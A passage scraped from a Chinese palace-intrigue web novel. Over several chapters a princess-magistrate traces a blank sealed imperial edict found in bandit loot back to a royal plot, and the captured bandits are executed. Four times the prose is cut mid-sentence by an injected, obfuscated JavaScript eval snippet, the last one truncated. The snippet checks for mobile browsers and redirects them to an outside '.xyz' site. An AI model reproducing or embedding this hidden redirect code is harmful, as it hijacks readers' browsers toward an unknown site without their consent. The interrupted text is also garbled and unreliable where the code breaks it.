萧柠觉得,他将来定非池中物。 邢玉楼一直坐在一边,还没离开。 萧柠见他身上有伤,问道:“邢副将,您要不要去客房休息?” 138. 圣旨(修) 邢玉楼道:“一点小伤,不碍事的,已经包扎过了。我先留在此处,如果公主突然想问什么剿匪相关之事,我也能回答。” 萧柠心中感激:“好,有劳邢副将了。” 萧柠命人拿来茶水和糕点给邢玉楼吃,接着指挥几个小吏,让他们清点剿匪小队带回来的钱财宝物。 这些宝物是从山匪的老巢中带回来的,由于剿匪小队人数有限,带回来的东西也不多,大部分还留在虞山的山洞里。 不过萧柠也不担心,虞山山匪的老巢,一般人也不知道。 东西暂时放在那里很安全,等山匪全部被剿灭,就可以把所有的财产都清点一下了。 现在先记录拿回来的一小部分,将来就能减少工作量。 小吏们把那些宝物拿出来辨认,认出是什么后,记录在册。金子、银子、银票就直接写上去就好。 这时,一个小吏打开了一个黑色的袋子,看了几眼,对萧柠道:“大人,里面的宝物我不太认识,您认识吗?” 萧柠走过去一看,只见袋子里有四样东西。 第一样是猎鹰形状的摆件,猎鹰的身躯、眼睛全部由宝石组成,看起来密密麻麻的,怕是有一千多颗。有些宝石色泽偏暗,看起来像石头,小吏以为其价值不高,所以不明白山匪为何收藏这个。 萧柠道:“这一件宝物,你就写宝石猎鹰吧。” 小吏道:“是。” 第二样宝物是一块手掌大小的黄玉,十分通透精美,上面有天然形成的寿桃纹路,触手生温。 这块玉比萧柠见过的所有玉成色都好,看来必定十分稀有。 她也不知道该怎么叫,便说道:“把这个记录为‘寿桃黄玉’吧。” 小吏道:“是。” 第三样宝物是一只木雕的貔貅,这小吏不认识是什么木头,萧柠却能认出,这是金丝楠木。 萧柠:“这一件是金丝楠木貔貅。” 小吏:“是,记下了。” 第四样东西,让萧柠吓了一大跳。因为,这样物品是一道圣旨。上面没有写字,但盖了玉玺。 也就是说,无论谁得到这道圣旨,都可以写自己想写的东西上去。在事情暴露之前,都是有效的。 如果有心术不正之人得到它,完全可以干一件大事,造成很大的祸患。 小吏倒是认识圣旨,但他没见过没写字、却盖了章的玉玺,因此他不敢擅自登记,要请萧柠过目。 按理说,这种圣旨不应该出现,除非有皇帝身边的亲近之人,偷偷拿了一道空白圣旨,盖上了章,然后拿走这道圣旨。 只是不知为何,这道圣旨会流落在外,还到了山匪的手里。 小吏问道:“公主,这个东西……要写下来吗?” “先记下来吧,空白有章圣旨一份。” “是。” 萧柠把这份空白圣旨握在手里。她决定亲自保存,以免出了差池。 现在,搞清楚这个圣旨的来源,似乎成了比剿匪更重要的事。 萧柠问邢玉楼:“邢副将,你们是从什么地方发现这道空白圣旨的?” 邢玉楼惊讶道:“其实,我们也不知道有空白圣旨。当时,我们匆匆忙忙的,随便拿了一些东西,就回来了。这个黑色袋子,我们没有打开过。” “这么说,这空白圣旨一直藏在黑色袋子里,跟另外三样宝物放在一起?” “应该是的。这空白圣旨非同小可,必须查清来源。好在还没有人用它来作恶,否则后果难以挽回。” 萧柠点头:“嗯,我会查清楚的。” 她叹了口气,只觉得现在千头万绪的。 剿匪的事还没完,又牵扯到靳家,如今又从赃物里翻出了空白圣旨…… 萧柠脑中一团乱麻。 忽然,她想起了什么,喃喃道:“这些宝物,我好像听谁提起过……” 旁边的小吏道:“公主,您在说什么?” 萧柠忽然灵光一闪,道:“之前提审那两名商人的时候,他们是不是交代,被山匪抢去的宝物有宝石猎鹰、天山灵玉和金丝楠木貔貅三样?” 小吏一头雾水:“公主,您说的是哪两个商人?” 萧柠看了他一眼,道:“哦,你不清楚,当时你不在场……你去把那个……瞿别驾和萧玉蟾叫来,就说我有话要问他们。” “是。” ———— 瞿明修和萧玉蟾刚休息了片刻,就听说萧柠找他们。 他们赶紧来到公堂。 萧柠问他们:“之前有两名商人路过凤城,被虞山山匪抢劫,六名护卫全部被杀。我提审那两名商人的时候,你们是不是也在场?” 瞿明修点头:“是的。” 萧玉蟾道:“那两名商人好像叫何从简、李珏。” 萧柠道:“他们当时交代了被山匪抢去的宝物,你们还记得是什么吗?” 萧玉蟾道:“我只记得有个貔貅,好像是金丝楠木做的……” 瞿明修道:“好像还有宝石猎鹰,还有一块什么玉……应该叫什么‘天山灵玉’吧。具体得看当时记录的书册。” 萧柠道:“你们回忆得没错,就是这三样宝物。你们来看这些。” 萧柠把黑色袋子里的三样宝物拿出来,道:“看这三样,是不是那两个商人提过的东西?” 萧玉蟾点头:“应该是的,这只宝石猎鹰,看着是由一千多块宝石拼成的;还有这貔貅,也确实是金丝楠木雕刻的;这块黄玉,虽然上面没写名称,但推断一下,应该就是那块天山灵玉了。 这么说,这袋子里的三件东西,应该就是那两名商人被抢走的宝物。我猜,由于是从同一批人身上抢到的,山匪们就先把这三样东西装在一起了。” 萧柠摇头:“不,其实山匪从那两个商人那里抢到的是四件宝物,而不是三件。” 萧玉蟾惊讶道:“四件宝物?何以见得?” “因为这个袋子里,本来还有第四样东西,被我拿出来了。按照常理推测,山匪们把同一批抢到的东西暂时放在一起,很合理吧?” “是的。” “所以,这第四样东西,肯定也是从那两名商人那里得来的。而且, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147081|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你记不记得,那两名商人带了四个小厮?” “是的。他们说,他们把宝物藏在小厮身上,以为能瞒天过海,谁知却被发现了,宝物全都被抢走了。” “是啊,如果他们只运送三件宝物,为何要带四个小厮?” “所以,公主的意思是,他们其实带了四样宝物,分别保存在四个小厮身上?” “是的。” “可是,如果他们被抢走了四件宝物,为何只交代了三件呢?” “因为,这第四件宝物不能说。说出来,那两个商人也要获罪。” “为什么?” 萧柠掏出空白圣旨,道:“这就是第四件宝物。” 萧玉蟾、瞿明修都吓了一跳。 萧玉蟾喃喃道:“这……这怎么可能呢……为何会有一道圣旨上面没有字,就先盖章的?皇上难道不知道这样很危险吗?” 萧柠道:“皇上自然知道这样很危险,所以他不会做这种事。但是,却有其他亲近之人获得了接近圣旨和玉玺的机会,做出了这道空白却有章的圣旨。” 萧玉蟾恍然道:“怪不得那两个商人好像很不希望官府去剿匪似的,一直在说匪徒很强大,他们不打算追究,想早点回乡。” “没错,一旦官府剿匪成功,匪徒抢走的东西就会全部暴露。到时候,那两个商人转运空白圣旨的事也会被揭露,这是抄家灭族的罪。” 瞿明修道:“那两名商人的供状上写了他们的家乡,属下这就派人去跟当地的官府联系,请求他们协助捉拿那两名商人,并移交到青州官府。” 萧柠点头:“好。” 为了验证自己的猜想,萧柠去了大牢,询问那三名匪徒:“一个多月前,在凤城抢劫商人何从简、李珏的两名匪徒是谁?” 其中一人道:“不是我们三个,是两个已经被杀死的匪徒。” 听到抢劫的匪徒已死,萧柠知道已经没法验证了。如果那两名匪徒还活着,就可以问问他们当时是不是从四个小厮那里分别抢到四件宝物。 不过,萧柠还可以问其他事情。 萧柠又问这三名俘虏:“你们抢劫了别人之后,是不是会把抢到的财物暂时放在一起?” “对,我们不会马上销赃,而是等风头过去了再销赃。在那之前,我们会把每次抢劫所得的战利品都装在一起。” “凤城那次抢劫,你们的同伴带回四样宝物,其中一样是空白圣旨,你们知道吗?” “知道,但这东西对我们没用,我们就暂时放起来了。” 这几名俘虏的话,已经可以验证萧柠的想法了。 于是,萧柠就离开了。 ———— 去义庄运匪徒尸体的小吏回来了,七具被杀的匪徒尸体在院子里摆成一排。 萧柠仔细观察了一番,这七具尸体的身高、身材都差不多,只是长相各有不同。 他们戴上人皮面具之后,就十分相像了。 可见,虞山的山匪也不是谁都能加入的,不仅要是一流高手,而且身高、身材都要跟其他山匪差不多,这样方便隐蔽。 139. 挨打(修) 萧柠是第一次见到他们的庐山真面目,不过已经能搞清这些死者的身份。 因为之前那三名俘虏已经把一切都招了,包括所有山匪的身份、样貌、姓名等。 萧柠把这些尸体和他们的姓名一一对应,让小吏记录下来,然后暂时把尸体存入冷库当中。 这些尸体生前都是享誉江湖的侠客、高手、前辈、长老等,没想到还有这一面。 不过,不论他们有几面,现在都已经是死人了,翻不出花来。 现在,就等着高铁胆他们聚集剩余匪徒的亲朋好友,进行第二次剿匪了。 几天后,商人何从简、李珏被押送到青州府。还有当时跟着他们的四名小厮,也被一起送了过来。 何从简、李珏跪在地上,神情有些惊慌和茫然。 萧柠问道:“何从简,李珏,你们当时被虞山山匪抢劫一案,真的没有隐瞒什么?” 何从简道:“是,一切都已经交代了。” “没有吧?当时你们明明携带了四件宝物,为何只说了三件?” 何从简、李珏对视了一眼,十分慌张。 他们战战兢兢,不敢回答。 萧柠道:“第四件宝物你们不敢说,因为那是一道没有写字、却盖了章的圣旨。” 何、李二人赶紧说道:“我们不知道啊……这是什么?” 萧柠冷笑:“你们不招是吗?” 萧柠又看向那四名小厮:“你们几个,从实招来。当时,你们的主子是不是让你们每人携带一件宝物,其中一名小厮携带的就是空白圣旨,对吗?” 这四名小厮不敢说话。 过了一会,有个小厮道:“没有……我们一共只带了三件宝物,被山匪抢走了……” “山匪已经招供,他们从你们这里抢走了四件宝物,要让山匪来跟你们对质吗?” 何从简道:“大人……这个……山匪的话不可尽信。他们总是拦路抢劫,赃物来源众多,他们又有什么证据证明,空白圣旨是我们的?” 萧柠道:“不用刑,看来你们是不肯招供了。何从简,你比较胖,身体看起来也更好些,就你来受刑吧。来人,把何从简打二十大棍!” 何从简很懵,他没想到萧柠说用刑就用刑;用刑也就罢了,只打他一个,是什么意思? 他还没回过神来,就被绑在凳子上,几个衙役拿很厚的板子打他。 虽然衙役们没使多大劲,但打在身上也够受的。 何从简哀嚎不已,连连求饶,可是萧柠都不为所动。 很快,二十板打完了,何从简身上的绳子被解开,他瘫倒在地,跪都跪不直。 萧柠又道:“来人,拿冷水泼他。” 何从简刚想求饶,衙役们已经端来几盆冷水,一盆接一盆倒在他头上。 现在已是冬季,非常寒冷,冷水浇在身上的感觉糟糕透了,更何况他身上还有伤。 何从简哆哆嗦嗦地道:“大人,为何只让我一人受刑?” 萧柠道:“本官已经说了,你看起来身体比较好。其他几人身体都比较瘦弱,如今天气又寒冷,万一用刑用出个好歹来,本官也要落个不是。还是你辛苦一下,一个人把刑罚挨了吧。来人,上夹棍。” “等等……等等!大人饶命……” 何从简心中很是不平,看向另一个商人李珏:“咱俩一起干的事,凭啥我一个人受刑,你就在旁边干看着啊?那空白圣旨还是你弄来的呢!” 李珏惊慌道:“你别乱说!” “我哪有乱说?分明就是你……” 见何从简已经说漏了嘴,萧柠微微一笑,道:“何从简,你说清楚。空白圣旨的事很大,主犯和从犯的量刑可不一样。主犯必死无疑,但从犯也许还有一条生路。” 何从简赶紧说道:“小人招供……小人和李珏是朋友,经常一起做生意。一个多月前,李珏来找小人,说他得到了一件烫手的宝物,有人愿意出万金购买。只是他不敢一个人运送,想叫上小人一起。 小人觉得很奇怪,问他是什么宝物。他说是一道空白的圣旨,上面已经盖了玉玺,无论写上什么都会立刻生效。小人吓了一跳,劝他赶紧丢掉。 可是他不听,说是这道圣旨是他花了千金购得,不能丢掉。 他还说,愿意购买这空白圣旨的,是一位王爷,那位王爷住在宁州,富可敌国。只要我们把东西送到他手上,他能立刻支付万金,绝不拖欠。 为了掩人耳目,我们可以带其他宝物过去,谎称是去宁州售卖其他宝物,那位王爷也会把那些东西一并买下。 于是,小人也动了心,精心挑选了宝石猎鹰、天山灵玉和金丝楠木貔貅三件宝物,跟这道空白圣旨一起运送。 但是,要去宁州,就必须经过青州的凤城。我们听说青州一带有厉害的山匪,虽然他们很少出来打劫,但不怕一万,就怕万一,因此我们高薪聘请了灵鹤派的六名高手,充当我们的护卫。 又选了四名机灵的小厮,把四样宝物分别藏在他们的身上。 然后,我们又打造了几口又大又重的铁箱子,上了好几把锁,假装铁箱子里有宝物。 做了这些准备后,我们才上路了。 没想到,我们运气不好,真的遇到了虞山的山匪,他们还识破了我们的计策,把小厮身上的四样宝物全给搜走了。 还好他们没杀我们。我们通知灵鹤派来领尸体,顺便赔偿一笔丧葬费,然后打算偷偷回乡。 因为这件事情不能闹大,一旦让官府知道我们在私运圣旨,那可是抄家灭门的大罪。 所以,我们没打算报官。谁知当时不凑巧,恰好有一群百姓路过,看见我们很狼狈的样子,旁边还有几具尸体,就问我们发生什么了。 我们见瞒不住,便说被山匪打劫了。他们便带着我们去报官。 于是,我们只能赶鸭子上架,在凤城的长官面前说了事情经过,只隐瞒了我们有空白圣旨一事。 凤城长官一听是虞山的山匪闹事,面露难色,只说这件案子他记下了,会尽快剿匪,给我们一个交代,让我们先离开。 见凤城长官的模样,我们猜测他不愿意,或是没有能力剿匪,所以不太可能破案。这正中我们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147082|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下怀,因此我们离开衙门,准备回乡。 只是,我们和四个小厮都受了伤,不便远行,便决定先休养几天再出发。 灵鹤派那边接到我们的传信后,就派了几个杂役来领那六名弟子的尸体。我们也交付了赔偿金,双方都没有什么意见。灵鹤派的人本就以接任务为生,任务失败,死于敌手,也是常有的事。 我们休息了几天后,忽然青州府来人了,要接我们去青州府问话。 原来是凤城长官按照惯例,把城里的大案上报给了州府衙门。 我们想,州府来找我们,应该也是例行问话,我们按照之前的说法,再说一次就是了。 谁知,刺史大人您竟是要认真剿匪,并不打算拖延。我们怕私运圣旨的事败露,因此极力诉说山匪的可怕,希望您知难而退。 但是,灵鹤派的那个小弟子明梁突然出现了,说是要为他六名师兄报仇,请求官府协助。我也极力劝说他放弃,可他不肯。 后来,大人跟明梁说起剿匪的计划,我们心里虽然担心,但又觉得官府肯定找不到山匪的巢穴,剿匪应该成功不了,因此便放心地回了老家。 没想到,前几天,我们当地的官府突然派人来找我们,说要把我们送到青州府来问话。我私下打听,发现青州府已经抓住了部分山匪。我和李珏就私下商议,无论如何,也不能把空白圣旨的事说出来。 谁知,您早就知道了。” 萧柠问道:“那位向你们购买空白圣旨的人是谁?” “好像是琅琊王。” “琅琊王……” 萧柠皱眉。琅琊王是皇帝的弟弟,萧柠的叔父。 如果他真的要购买空白圣旨,肯定有不可告人的目的。 普通人拿了空白圣旨没用,但王爷却可以填上对自己篡位有利的内容。 只等时机一到,他就可以凭借圣旨控制军队,在宁州起兵造反。 听说琅琊王跟皇帝关系很好,也非常拥戴皇帝,所以皇帝对琅琊王最为亲厚,经常赏赐他田宅珠宝。 没想到,琅琊王也不是省油的灯。 萧柠问道:“你说是琅琊王要买空白圣旨,可有证据?” “我不知道,跟琅琊王那边接头的是李珏。” 萧柠看向商人李珏:“李珏,你是从何处购得空白圣旨,又如何得知琅琊王要买空白圣旨?你有何证据?” 李珏道:“刺史大人,我不清楚,其实这空白圣旨是何从简搞来的……” 何从简忍痛站了起来,一拳把李珏打倒在地,骂道:“你这兔崽子,竟敢推到我的身上!分明你是主犯,我是从犯!” 李珏嘴角出血,却不肯让步,道:“你是主犯,我才是从犯!” 萧柠道:“你们不必再争了。此事牵涉太大,不论主犯从犯,只怕都难逃一死。不过,怎么死,差别却很大。如果你们二人从实招来,本官便为你们争取一个轻松的死法,还设法保全你们的家人。 如果有所隐瞒,本官不会替你们从中周旋。到时候,上面要判你们凌迟处死,满门抄斩,本官也不会多说半句。” 140. 惯偷(修) 眼见到了这时候,已经没有抵赖的余地,李珏只得说道:“小人把知道的事都招了,求刺史大人帮忙保下小人的家人…… 这空白圣旨,是一个惯偷倒卖给小人的。这个惯偷姓钱,因双手都是六指,江湖人称‘六指钱’。但他的本名,却少有人知,小人也不知道。 他经常偷盗王公贵族家的宝物,倒卖给愿意接手的商人或其他江湖人士。以前,我从他手里买过不少东西,那个宝石猎鹰就是他卖给我的,好像是一个王爷的陪葬品。但那王爷已经没有后人了,所以墓被盗了也无人知晓。 两个月前,六指钱给我看那空白圣旨,问我要不要。我本来不敢买的,但是他说,这空白圣旨轻易找不到买家,但一旦有人愿意买,就绝对愿意出大价钱,能让我十辈子不愁吃喝。 我想了想,有些心动,便用千金的价格购买了。我也问过他,是从何处偷来的,但他没说,我也就没再追问。 我又委托一位算命先生齐致远,让他打听一下谁能买这道空白圣旨。 齐致远表面上是个普通的算命先生,实则是个消息灵通、武功高强的江湖人士。他因算命很准,经常出入一些名商巨贾、王公贵族家中。 所以,有一些隐秘之事,别人打听不到,他却能打听到。后来,他传信给我,说宁州的琅琊王愿意购买。于是,我就约了好友何从简一起护送,还带了另外三件宝物,掩人耳目。 后面的事,何从简已经说过了。” 萧柠问道:“这么说,要先抓到六指钱,才能知道这空白圣旨是哪里来的?要抓到算命先生齐致远,才能找到琅琊王购买圣旨的证据?” “是的。” “六指钱平时在哪里活动比较多?住在哪里?” “他没有固定的住所,也没有固定的活动场所,而是到处流窜。我也不知道他现在在哪。” “那算命先生齐致远呢?” “他也行踪不定。” 萧柠心想,这空白圣旨的事算是案中案,以青州目前的人力和能力,只怕没有多余的人手去找小偷六指钱和算命先生齐致远。 而且此案关系重大,涉及一位王爷谋反,还涉及有人偷盗圣旨,偷盗圣旨之人也必定身份尊贵,恐怕不是她这个青州刺史能办理的。 不如把此案交给京城大理寺,让大理寺呈奏皇上,再做处置。 因此,她便把这空白圣旨的始末都写了下来,上了一道奏折给皇帝,并把何从简、李珏等相关之人移交大理寺。 她自己专心剿匪。 ———— 大约半个月后,侠客高铁胆等人就凑齐了一批剿匪的江湖人士。 这些人都是那十几名山匪的亲朋好友、至亲至爱、授业恩师等,是那种他们绝对下不了手去伤害的人。 萧柠粗略看了看,一共有六十多人。 萧柠对他们说道:“剿匪一事,就有赖各位了。” 这些人都露出羞愧、痛恨等情绪,对萧柠道:“刺史大人放心,我们此去,必定把那些山匪都给抓回来!” “没错,老夫一生清白,没想到徒弟竟然落草为寇,简直是把我们门派的脸都丢尽了!” “我们夫妇二人一直教育儿子要行侠仗义,没想到他竟然去当了山匪……唉,不说了,总之见到他后,我们一定要狠狠教训他,再让他认罪伏法!” “我师父一向把我当亲生儿子一样,如果我见到他,劝他束手就擒,他一定会听我的……师父教我做一个正直的人,没想到他自己却是土匪,真是太……太令人伤心了……” 有许多江湖人士发表了一通感慨,也有些人什么都没说,似乎是觉得没脸见人。 萧柠对他们说道:“诸位能大义灭亲,参与剿匪,本官及青州百姓均感激不尽。” 众人纷纷说道:“刺史大人不必客气,清理门户本就是我们应尽职责。” “他们做了这么多坏事,我们身为师长,本就该亲手抓住他们。” 一番谦让后,众人都往虞山出发。 山匪所有巢穴的位置,那三名俘虏都已经交代了。 山匪一共有八处巢穴,而且他们一般都聚在一起。 只需要一个一个找过去,总能找到这群山匪的。 —— 七天后,剿匪大获成功。 那十几名山匪,见到自己的亲朋好友到来,有的立刻放下了武器,有的羞愧自尽了,还有的被父母师长当场杀死。 最终,剿匪的团队带回来六个活人、十具尸体。剩下的十六名山匪都在这儿了。 而虞山上的财宝,被带回了一部分,还有很多分布在各个巢穴里,由官兵去收缴。 收缴钱财珠宝,估计要好多天。 萧柠决定先审理这六名活口。 六名山匪已经没什么好抵赖的了,现在人被抓到,真实身份也曝光了,在江湖上、在家里、在门派中,都不会有立足之地了。 所以,他们交代得很快。 包括他们这些年一共犯过什么案子、抢过什么财物、杀过什么人、如何隐藏自己、如何打探消息,都说得很详细。 光是让他们交代事情、记录在案,就花了三天时间。 三天后,他们把自己犯下的大案都交代清楚了。 其实这些年来,他们杀的人并不多,只是抢走的财物比较多。 如果被抢的人里面刚好有江湖中人,他们会全部杀光,因为会武功的人很有可能在交手中认出山匪的身份,所以山匪不能冒这个险。 如果被抢的是普通人,他们一般就不杀了。反正虞山这么大,就算那些人看见山匪往什么方向跑了,也不知道具体的位置。 而且,山匪们都有人皮面具,这些人皮面具的五官十分平淡、十分相似。面具一戴,分不清谁是谁。 另外,山匪们这么多年都没有落网的原因,除了他们武功高强、善于伪装之外,还因为他们抢劫是有所选择的,不是什么人都抢。 他们会选择那种本身就不干净的人,进行黑吃黑。 就比如上一次,商人何从简、李珏被抢,其实也是山匪们事先打探过的。 他们知道何、李二人不是什么正经商人,携带的货物也有非法的东西,就算他们被抢,也不敢声张。 很多被抢之人,财物的来路本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147083|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就不干净,生怕事情被闹大,反而会选择把事情压下来。 这一桩大案了结,所有人都松了一口气。 青州虽然还有其他土匪,但都不成气候,不能跟虞山山匪相比。 往后,青州会太平很多。 萧柠把活着的六名山匪暂时关押到大牢里,其余尸体放入冷库当中。 等虞山的赃物、赃款清查完毕,就可以结案了。 那些剿匪的江湖人士,一批接着一批,悄悄离开了。 他们没有多说什么,也没有提起想带回山匪的尸体或活人。因为这群山匪是他们人生的重大污点,他们也实在是糟心,不想再面对了。 明梁对萧柠抱拳行礼:“刺史大人,多谢您帮忙剿匪,报了我六位师兄之仇。我要带着师兄们的尸体回去了,以后若有用得着我的地方,您可以派人过来或写信过来。” 萧柠道:“明公子,一路保重。” “嗯。” 侠客高铁胆等人,也纷纷向萧柠告别。 高铁胆刚来的时候,还带着几分年轻人的锐气与朝气。经此一事,他变得更沉稳了,眼神也更为深远,隐隐具备了一代宗师的气度。 萧柠觉得,高铁胆以后一定会大有作为。 这次剿灭虞山山匪,江湖中的势力必定会大洗牌。像明梁、高铁胆这样的后起之秀,一定会趁机崛起。 ———— 几天后,衙役们把虞山的财物全部带了回来。 他们整整装了二十几车,才装完。 里面有金银珠宝、上好药材、青铜杯、玛瑙碗、象牙筷、水晶骰子、丝绸衣服等各色珍宝,还有四件金丝软甲。 山匪们确实没说谎,兵部侍郎靳苍卖给了他们四件金丝软甲,这东西穿在身上就可抵御大部分伤害。 萧柠心中隐隐有些兴奋,只需把这件案子上报到朝廷,把靳氏一脉连根拔起,指日可待。 靳妃的弟弟竟然把朝廷的宝物卖给山匪以谋利,这绝对是无可宽宥的大罪。 这靳家的人,一个个都不是省油的灯。 靳妃很有可能会被她弟弟牵连。如果她失宠了,以后萧柠要对付她就更容易了。 萧柠命人统计这些赃款和赃物,一共让三拨人去统计,这样可以互相对照,以免发生差错。 光是金银、银票等,就有三百多万两。 其他珠宝首饰、名贵器物的价值很难估算,估计至少值上千万两。 萧柠把财物统计完毕后,将虞山山匪案的始末写成奏折,连同所有财物一同呈交给皇帝,并请求皇帝下令,将活着的几名山匪处死。 其中一名山匪检举有功,萧柠请求饶过他的性命。 皇帝得知事情始末后,勃然大怒,让刑部去查兵部侍郎靳苍,询问靳苍是否果真有将金丝软甲卖给山匪之事。 靳苍一开始还否认,但经不住刑部的酷刑,又有山匪的供词作证,而且四件金丝软甲已经呈交上来,无可抵赖,他只得承认。 皇帝下令将靳家男丁全部斩首,收回靳氏一族的所有封地、爵位和大部分房屋,只留几间老屋和一部分财产给靳家的女眷。 141. 郑氏(修) 大皇子想求情,被皇帝斥责一顿,皇帝勒令他闭门思过。 靳妃受到牵连,降为才人。 二公主萧梦苒想进宫求情,皇帝早料到了,下令二公主不得入宫。 虞山还活着的山匪,全部处以死刑,除了那个戴罪立功的山匪之外。 令青州刺史萧柠对山匪执行死刑,不得延误。 所缴获的赃款、赃物,大部分充入国库,另外给青州一百五十万两白银,作为青州剿匪有功的嘉奖。 国库本就空虚,皇帝正愁钱不够用,这下抄了靳家,又拿了山匪们的财产,已经不缺钱了。 青州这边也是一样,获得了一百五十万两,不仅补上了全部亏空,还有闲钱帮扶下面的城市。 萧柠给容城拨款十万两,让容城没有房子的百姓买木材建房子。 之前,她在容城的时候,只给一部分百姓建了房子,她一直记挂着这个事,如今终于能解决了。 之前萧柠向各宗室借的剿匪的钱,也连本带利归还。 同时,青州官吏此次剿匪有功的,通通获得奖励。就连运送赃物回来的衙役们,也都得到了赏钱。 萧柠又命书吏们写几百张告示,贴遍大街小巷,说虞山山匪已经剿灭,百姓们以后可以安心出行了。活着的几名山匪会在菜市口处决,想来看的可以过来。 ———— 几天后,菜市场人头攒动。 大家都是来看山匪砍头的。 那几名活着的山匪,以前也是身份地位很高的人物,但现在面如死灰,已经完全没了往昔的风采,看起来跟乞丐差不多。 刽子手铡刀落下,人头滚落,百姓们齐声叫好。 只有其中一名检举有功的山匪活了下来,不过他也只能在牢里度过余生了。 他以前是一派掌门,现在只是阶下囚。 剿匪结束,萧柠获得了30万积分,现在积分是318800。 —————— 几天后,空白圣旨的事有结果了。 大理寺派出许多人,调查那个小偷六指钱和算命先生齐致远的踪迹,终于抓到了他们。 小偷六指钱说,他是在二公主的府邸偷到空白圣旨的,然后转卖给了商人李珏。 算命先生齐致远说,他跟很多豪门巨户都有来往,商人李珏给他钱,请他打听一下谁愿意买空白圣旨。 他暗中去了很多王孙贵族家,最后琅琊王愿意买空白圣旨,请齐致远帮忙牵线,让商人李珏把空白圣旨运送到琅琊王的封地去。 可惜在半道上,空白圣旨就被山匪截了。 这件事牵涉二公主萧梦苒和皇帝的弟弟琅琊王,非同小可。 皇帝召二公主进宫问话,二公主说,自己拿走空白圣旨只是觉得好玩。 皇帝勃然大怒:“好玩?那你怎么还在圣旨上盖章?你分明是包藏祸心,想等着朕哪天病重了,就直接在圣旨上写,立大皇子为新帝!你为了你弟弟,可真是用心良苦啊!你跟你弟弟、你母妃才是一家人,朕在你眼里算什么?” 萧梦苒赶紧跪下,哭诉道:“父皇,儿臣真的没有这样的心思……儿臣只是想着,如果哪天儿臣想要什么东西,父皇不肯给的话,儿臣就自己写在圣旨上,让掌管宝库的太监不得不给我……儿臣真的没有别的心思啊……” 皇帝并不相信,继续责骂萧梦苒。 这时,靳才人求见,说空白圣旨是她偷的,玉玺也是她盖的,跟二公主无关。 靳才人哭泣道:“皇上,嫔妾把空白圣旨给梦苒,只是想给她使用的,并不是给大皇子使用。梦苒隔三差五就要东西,有时候皇上不肯给,她不高兴。 嫔妾就给了她空白圣旨,说以后遇上特别想要的珍宝,就写在圣旨上,瞒着你父皇,偷偷拿到手。嫔妾知道此举不对,但也算不上大错啊。” 说着,靳才人就不停地磕头。 这时,一个小太监跪下道:“皇上,奴才有要事启奏。” 皇帝道:“说。” “几个月前,奴才听见靳才人和二公主说话,说如今三皇子羽翼渐丰,渐渐跟大皇子分庭抗礼。皇上心意未定,她们需做好万全的准备。 二公主便问,什么是万全之策? 靳才人对二公主说,皇上一向疼爱二公主,二公主可以自由出入御书房。二公主可以趁皇上不在的时候,偷走一道空白圣旨,并在上面盖章。 一旦将来有什么变故,她们便可以在上面写下立大皇子为新帝的圣旨,助大皇子登基。那时候,皇上既然不在了,也无人知道这道圣旨是假的。 奴才当时听见这话,不敢声张,所以一直没有禀告皇上。” 皇帝皱眉道:“既然你早就听到了,为何不禀告?” “奴才……奴才……” 这小太监吞吞吐吐,畏惧地看了靳才人一眼。他虽然没说什么,但一切尽在不言中。 靳才人对这小太监怒骂:“你胡说!谁让你编排这些话,污蔑本宫和二公主?你可知污蔑妃嫔和公主乃是死罪!” 小太监连连叩头:“奴才所说句句属实,求靳才人饶奴才一命……” 见靳才人竟然当面威胁小太监,皇帝更加生气:“靳才人,你给我闭嘴!一切果然如朕所料,你刚才还敢砌词狡辩!” 靳才人只是说道:“冤枉啊,皇上……” 皇帝虽然一直宠爱靳才人,但是基本的判断他还是有的。 刚才靳才人所说的理由,根本就站不住脚。 什么叫二公主拿走空白圣旨只是为了获得一件珍宝? 二公主想要什么,皇帝基本上都满足她了。 她不可能冒着杀头的风险,偷走一道空白圣旨,只为了获得某件宝物。 此事一旦事发,那可是大罪。 这件事只有唯一合理的解释,那就是她们母女俩拿走空白圣旨,是为了让大皇子顺利登基。 只有这件事,才值得她们冒这么大的风险。 皇帝又不是傻子。 而且,琅琊王私下购买这空白圣旨,自然也是为了谋权篡位。 他的心思,跟靳才人是一样的。 不论靳才人和二公主如何辩解,皇帝都不信她们的话。 眼见皇帝就要发落他们,靳才人赶紧把所有的责任都揽在自己身上,说二公主只是被迫收藏空白圣旨,主谋是靳才人自己。 二公主不愿让母亲承担全部责任,可靳才人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 